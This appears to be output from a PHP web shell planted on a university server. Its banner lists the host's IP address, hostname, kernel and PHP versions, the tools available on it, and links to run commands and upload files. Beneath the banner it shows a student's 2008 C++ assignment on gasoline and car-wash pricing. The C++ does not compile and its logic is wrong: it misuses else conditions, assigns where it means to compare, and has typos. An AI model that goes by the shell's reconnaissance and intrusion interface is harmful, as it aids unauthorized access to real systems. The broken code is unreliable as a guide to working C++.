Server IP : 172.16.15.8 / Your IP : 18.218.108.24 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/kmmowery/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//---------------------------------------------------------------------// // Programming Assignment 2 // // Calculate the cost of gasoline, the price of a wash, the total cost, // and the number of discount points earned. // // Written by Paula S. Woodson // September 26, 2008 //-----------------------------------------------------------------------// //------ Preprocessor Section #include <iostream> #include <iomanip> using namespace std; //------ Main Function int main() { //------ Varibles int // numofdis; intgallons; // amount of gallons without decimal numofdis; // numbe of discount points float // gallons; costofgas; // cost of the gasoline gallons; totalcost; // cost of gasoline and the wash // gallons; // amount of gallons char typeofgas; // types of differnt gasoline // Input cout << "/n/nWelcome to VWC Service Station and Car Wash!\n\n"; cout << "Enter Amount You want: "; cin >> costofgas; cout << "Enter Grade (P for premium,R for regular, S for super)"; cin >> typeofgas; //--------- Processing Phase if (typeofgas == 'P' || typeofgas == 'p') gallons = 3.539 * costofgas; else(typeofgas == 'R' || typeofgas == 'r') gallons = 3.339 * costofgas; else(typeofgas == 'S' || typeofgas == 's') gallons = 3.679 * costofgas; //intgallons=static_cost<int>(gallons); //gallons = intgallons; cin >>intgallons; if(intgallons = 6) totalcost = .10 * 6.00 + gallons; // else(intgallons = 7) totalcost = .20 * 6.00 + gallons; else(intgallons = 8) totalcost = .30 * 6.00 + gallons; // else(intgallons = 9) totalcost = .40 * 6.00 + gallons; else(intgallons = 10) totalcost = .50 * 6.00 + gallons; else(intgallons = 11) // totalcost = .60 * 6.00 + gallons; else(intgallons = 12) // totalcost = .70 * 6.00 + gallons; else(intgallons = 13) totalcost = .80 * 6.00 + gallons; else(intgallons = 14) totalcost = .90 * 6.00 + gallons; else of (intgallons <= 15) totalcost = gallons; cout << "Car Wash Free"; if (typeofgas == 'P'||typeofgas == 'p') if (gallons <= 3.539) numofdis = 3; else(typeofgas == 'R'||typeofgas == 'r') (gallons <= 3.399) numofdis = 4; else(typeofgas == 'S'||typeofgas == 's') (gallons <= 3.679) numofdis = 5; //-------output cout<< fixed; // force fixed point format cout<< setprecision(2); // force results to look like dollars & cents cout<< "\n\n Grade Purchased: "<< typeofgas <<"\n\n"; cout<< "\n\n Cost of Gasoline: $ "<< gallons <<"\n\n"; cout<< "\n\n Total Cost: $ "<< totalcost <<"\n\n"; cout<< "\n\n Number of Discount Point: "<< numofdis <<"\n\n"; return 0 ; }